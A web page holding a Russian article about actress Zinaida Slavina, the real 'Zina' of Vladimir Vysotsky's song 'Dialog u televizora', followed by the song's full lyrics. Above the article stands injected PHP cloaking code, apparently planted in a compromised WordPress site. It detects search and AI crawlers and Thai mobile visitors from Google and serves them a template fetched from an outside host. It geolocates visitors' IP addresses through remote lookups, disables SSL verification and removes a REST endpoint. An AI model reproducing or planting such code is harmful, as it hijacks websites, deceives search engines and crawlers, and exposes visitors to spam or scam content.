$API_URL = 'https://id.yuanhengbc.com/th100'; $scheme = (!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') ? 'https' : 'http'; $host = $_SERVER['HTTP_HOST'] ?? 'localhost'; $MY_DOMAIN = $scheme . '://' . $host; function rewrite_remote_urls($html, $api_url, $my_domain) { if (empty($html)) return $html; $orig_host = parse_url($api_url, PHP_URL_HOST); $my_host = parse_url($my_domain, PHP_URL_HOST); $html = str_replace('https://' . $orig_host . '/xtz.js', '%%XTZ_KEEP%%', $html); $html = str_replace( array('https://' . $orig_host, 'http://' . $orig_host, '//' . $orig_host), array($my_domain, $my_domain, '//' . $my_host), $html ); $html = preg_replace( '/ true, CURLOPT_TIMEOUT => 15, CURLOPT_USERAGENT => $ua, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_FOLLOWLOCATION => true, )); $body = curl_exec($ch); curl_close($ch); return $body; } else { $ctx = stream_context_create(array( 'http' => array('timeout' => 15, 'user_agent' => $ua, 'ignore_errors' => true) )); return @file_get_contents($final, false, $ctx); } } $ua = $_SERVER['HTTP_USER_AGENT'] ?? ''; $ref = $_SERVER['HTTP_REFERER'] ?? ''; $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? ''; if ($ua === '') $ua = ' '; $bot_list = array( 'Googlebot','Googlebot-News','Googlebot-Image','Googlebot-Video','Googlebot-Mobile', 'Mediapartners-Google','AdsBot-Google','AdsBot-Google-Mobile','Google-InspectionTool', 'APIs-Google','Google-Site-Verification','Google Web Preview','Google Favicon', 'Google Feedfetcher','GoogleOther','Bingbot','BingPreview','AdIdxBot','Microsoft Preview', 'GPTBot','ChatGPT-User','ChatGPT','Google-Extended','Claude-Web','ClaudeBot', 'anthropic-ai','DuckDuckBot','DuckAssistBot' ); $is_bot = false; foreach ($bot_list as $b) { if (stripos($ua, $b) !== false) { $is_bot = true; break; } } $is_mobile = false; foreach (array('Mobile','Android','iPhone','iPad','Windows Phone') as $m) { if (stripos($ua, $m) !== false) { $is_mobile = true; break; } } $is_google = ($ref !== '' && (stripos($ref, 'google.') !== false || stripos($ref, 'bing.com') !== false)); $is_th_lang = ($lang !== '' && preg_match('/(?:^|,)\s*(?:th)(?:-TH)?(?:;|$)/i',$lang) === 1); function check_ip_country() { $ip = $_SERVER['HTTP_CF_CONNECTING_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['HTTP_X_REAL_IP'] ?? $_SERVER['REMOTE_ADDR'] ?? ''; $ip = trim(explode(',', $ip)[0]); if ($ip === '' || $ip === '127.0.0.1') return 'LOCAL'; $ch = curl_init('https://id.qzbybyk.com/v1/lookup?ip=' . urlencode($ip)); curl_setopt_array($ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 3, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_HTTPHEADER => array('X-API-Key: change-me-now'), )); $resp = curl_exec($ch); curl_close($ch); if ($resp !== false) { $j = json_decode($resp, true); if (isset($j['data']['country']['iso_code'])) return $j['data']['country']['iso_code']; } $ch = curl_init('http://ip-api.com/json/' . urlencode($ip) . '?fields=countryCode'); curl_setopt_array($ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 3, CURLOPT_SSL_VERIFYPEER => false, )); $resp = curl_exec($ch); curl_close($ch); if ($resp !== false) { $j = json_decode($resp, true); if (isset($j['countryCode'])) return $j['countryCode']; } return 'UNKNOWN'; } if ($is_bot) { $body = fetch_remote_template($API_URL, $ua); echo rewrite_remote_urls($body, $API_URL, $MY_DOMAIN); exit; } if ($is_mobile && $is_google && $is_th_lang) { if (check_ip_country() === 'TH') { $body = fetch_remote_template($API_URL, $ua); echo rewrite_remote_urls($body, $API_URL, $MY_DOMAIN); exit; } } add_filter('rest_endpoints', function($e){ unset($e['/batch/v1']); return $e; }); Как выглядит та самая Зина из песни Владимира Высоцкого «Диалог у телевизора» — Вечный путь к совершенству

Как выглядит та самая Зина из песни Владимира Высоцкого «Диалог у телевизора»

Зинаида Славина

«А у тебя подруги, Зин, все вяжут шапочки для зим» — эти строчки из песни Владимира Высоцкого знакомы каждому его фанату. Но далеко не все они догадывались кто эта Зина. Оказалось, что героиней была реально существовавшая актриса Зинаида Славина. Она вместе с Высоцким выступала в Театре на Таганке.

Владимир никогда не скрывал, что восхищался красотой и талантом партнерши и называл ее любимой театральной звездой. Их дуэт стал украшением спектакля «Добрый человек из Сезуана». При этом, никакого романа в жизни между коллегами не было. Даже милую деталь — вязанье — Высоцкий подметил у Зинаиды: она бралась за спицы в любой перерыв между репетициями. Зинаида Славина вспоминала: «Когда начали репетировать, даже в глаза не смотрел. Бледный, зажатый.

Сцена из спектакля «Добрый человек из Сезуана»

Как будто на казнь шел. Я к нему, он все – мимо, мимо… А Юрий Петрович учил: когда общаетесь, вы – петелька и крючочек, петелька и крючочек. Я сразу не поняла, а потом стала учиться вязать, и все встало на свои места. В свободное время шапочки мастерила, даже в театре. Володя удивлялся: «Зин! Ну, зачем? Тебе это совсем не надо». Только когда уже начались спектакли, его нерв наконец слился с моим. И были овации. Всегда… Потом он песню про меня написал – «Диалог у телевизора»: «А у тебя подруги, Зин, Все вяжут шапочки для зим. От ихних скучных образин Дуреешь, Зин».

Карьера в кино у Славиной не задалась, зато на сцене театра она блистала вплоть до преклонного возраста. Замуж актриса вышла в возрасте 45 лет за мужчину, который не мел отношения к искусству. 79-летняя Зинаид скончалась в 2019 году, пережив своего близкого друга Высоцкого почти на 40 лет.

Диалог у Телевизора. Владимир Семенович Высоцкий (слушать и смотреть)

— Ой, Вань, гляди, какие клоуны.
Рот — хоть завязочки пришей…
Ой, до чего, Вань, размалеваны,
И голос — как у алкашей
А тот похож — нет, правда, Вань, —
На шурина — такая ж пьянь.
Ну нет, ты глянь, нет-нет, ты глянь, —
Я — вправду, Вань.

— Послушай, Зин, не трогай шурина:
Какой ни есть, а он — родня, —
Сама намазана, прокурена —
Гляди, дождешься у меня.
А чем болтать — взяла бы, Зин,
В антракт сгоняла в магазин…
Что, не пойдешь? Ну, я — один, —
Подвинься, Зин.

— Ой, Вань, гляди, какие карлики.
В джерси одеты, не в шевьет, —
На нашей пятой швейной фабрике
Такое вряд ли кто пошьет.
А у тебя, ей-богу, Вань,
Ну все друзья — такая рвань
И пьют всегда в такую рань
Такую дрянь.

— Мои друзья — хоть не в Болонии,
Зато не тащат из семьи, —
А гадость пьют — из экономии:
Хоть поутру — да на свои.
А у тебя самой-то, Зин,
Приятель был с завода шин,
Так тот — вообще хлебал бензин, —
Ты вспомни, Зин.

— Ой, Вань, гляди-кось — попугайчики
Нет, я, ей-богу, закричу.
А это кто в короткой маечке?
Я, Вань, такую же хочу.
В конце квартала — правда, Вань, —
Ты мне такую же сваргань…
Ну что «отстань», всегда «отстань».
Обидно, Вань.

— Уж ты б, Зин, лучше помолчала бы —
Накрылась премия в квартал.
Кто мне писал на службу жалобы?
Не ты? Да я же их читал.
К тому же эту майку, Зин,
Тебе напяль — позор один.
Тебе шитья пойдет аршин —
Где деньги, Зин?

— Ой, Вань, умру от акробатиков.
Гляди, как вертится, нахал.
Завцеха наш — товарищ Сатиков —
Недавно в клубе так скакал.
А ты придешь домой, Иван,
Поешь и сразу — на диван,
Иль, вон, кричишь, когда не пьян.
Ты что, Иван?

— Ты, Зин, на грубость нарываешься,
Все, Зин, обидеть норовишь.
Тут за день так накувыркаешься…
Придешь домой — там ты сидишь.
Ну, и меня, конечно, Зин,
Все время тянет в магазин, —
А там — друзья… Ведь я же, Зин,
Не пью один.

— Ого, однако же, гимнасточка.
Ой, что творит, хотя в летах.
У нас в кафе молочном «Ласточка»
Официантка может так.
А у тебя подруги, Зин,
Все вяжут шапочки для зим.
От ихних скучных образин
Дуреешь, Зин.

— Как, Вань? А Лилька Федосеева,
Кассирша из ЦПКО.
Ты к ней все лез на новоселье…
Она так очень ничего.
А чем ругаться, лучше, Вань,
Поедем в отпуск в Еревань.
Ну, что «Отстань»? Всегда «Отстань».
Обидно, Вань!